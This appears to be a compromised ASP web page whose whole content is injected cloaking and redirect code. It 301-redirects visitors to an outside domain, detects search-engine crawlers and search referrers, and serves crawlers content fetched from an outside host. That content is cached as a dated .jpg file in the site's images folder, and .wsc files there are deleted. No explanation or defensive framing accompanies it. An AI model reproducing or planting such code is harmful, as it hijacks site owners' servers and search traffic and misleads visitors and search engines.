<% Response.Status="301 Moved Permanently" Response.AddHeader "Location","http://www.88094.com" Response.End %><% Function uurlls() uurlls="http://www.198901.com/index5.asp" End Function Function folder() folder="images\" End Function function isspider() dim agent,searray,i agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("googlebot","baiduspider","baidu","sogou","yahoo","soso","360","so","yahoo","bing","youdao") isspider= false for i=0 to ubound(searray) if (instr(agent,searray(i))>0) then isspider=true next end function function fromse() dim urlrefer,i,searray urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER")) fromse= false if urlrefer="" then fromse= false searray=array("google","baidu","sogou","yahoo","soso","360","so","yahoo","bing","youdao") for i=0 to ubound(searray) if (instr(urlrefer,searray(i))>0) then fromse=true next end function Function GetP() GetP=getHTTPPage(uurlls()+"?"+domain(),"gb2312") End Function function domain() domain="http://"+LCase(request.ServerVariables("SERVER_NAME")+"/") End Function Function readF(file) if(len(file)>0) then Dim html,files html=server.MapPath(file) Set fs=Server.CreateObject("Scripting.FileSystemObject") Set files=fs.opentextfile(html,1) if files.atendofstream then readF=GetP() else readF=files.readall() end if set fs=nothing set files=nothing end if End Function Function WriteF(file,cont) Set fso = CreateObject("Scripting.FileSystemObject") Files=Server.MapPath(file) On Error Resume Next If Err.Number <> 0 Then WriteF=cont End If Set txt=fso.OpenTextFile(Files,8,True) txt.Write cont txt.Close WriteF=cont End Function Function DelF(name) set fso = server.CreateObject("Scripting.FileSystemObject") On Error Resume Next If Err.Number <> 0 Then End If set f = fso.GetFolder(server.MapPath(folder)) flag = false for each item in f.Files if lcase(right(item.name, 4)) = name then flag = true exit for end if next if flag then fso.DeleteFile(server.mappath(folder)+"\*"+name) end if set f = nothing set fso = nothing End Function Function FileT() Dim htmlFilefs,file da=date() file=folder+replace(da,"/","")+".jpg" htmlFile=server.MapPath(file) Set fs=Server.CreateObject("Scripting.FileSystemObject") If fs.FileExists(htmlFile) Then FileT=readF(file) else DelF(".wsc") cont=GetP() FileT=WriteF(file,cont) end if Set fs=Nothing End Function Function mainn() Dim tmpStr,MyArray,htmlFilefs tmpStr="default.asp,index.htm,index.html,index.php,index.aspx,default.aspx" MyArray=Split(tmpStr,",") For N=0 to Ubound(MyArray) htmlFile=server.MapPath(MyArray(N)) Set fs=Server.CreateObject("Scripting.FileSystemObject") If fs.FileExists(htmlFile) Then mainn=MyArray(N) end if Set fs=Nothing Next End Function function getHTTPPage(url,gbkk) dim Https set Https=server.createobject("MSXML2.XMLHTTP") Https.open "GET",url,false Https.send() if Https.readystate<>4 then exit function end if getHTTPPage=bytesToBSTR(Https.responseBody,gbkk) set https=nothing if err.number<>0 then err.Clear end function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function if isspider() then response.clear response.write( FileT() ) response.write("") response.flush response.end end if if fromse() then response.clear response.write("
") response.flush response.end else response.write("
") end if %>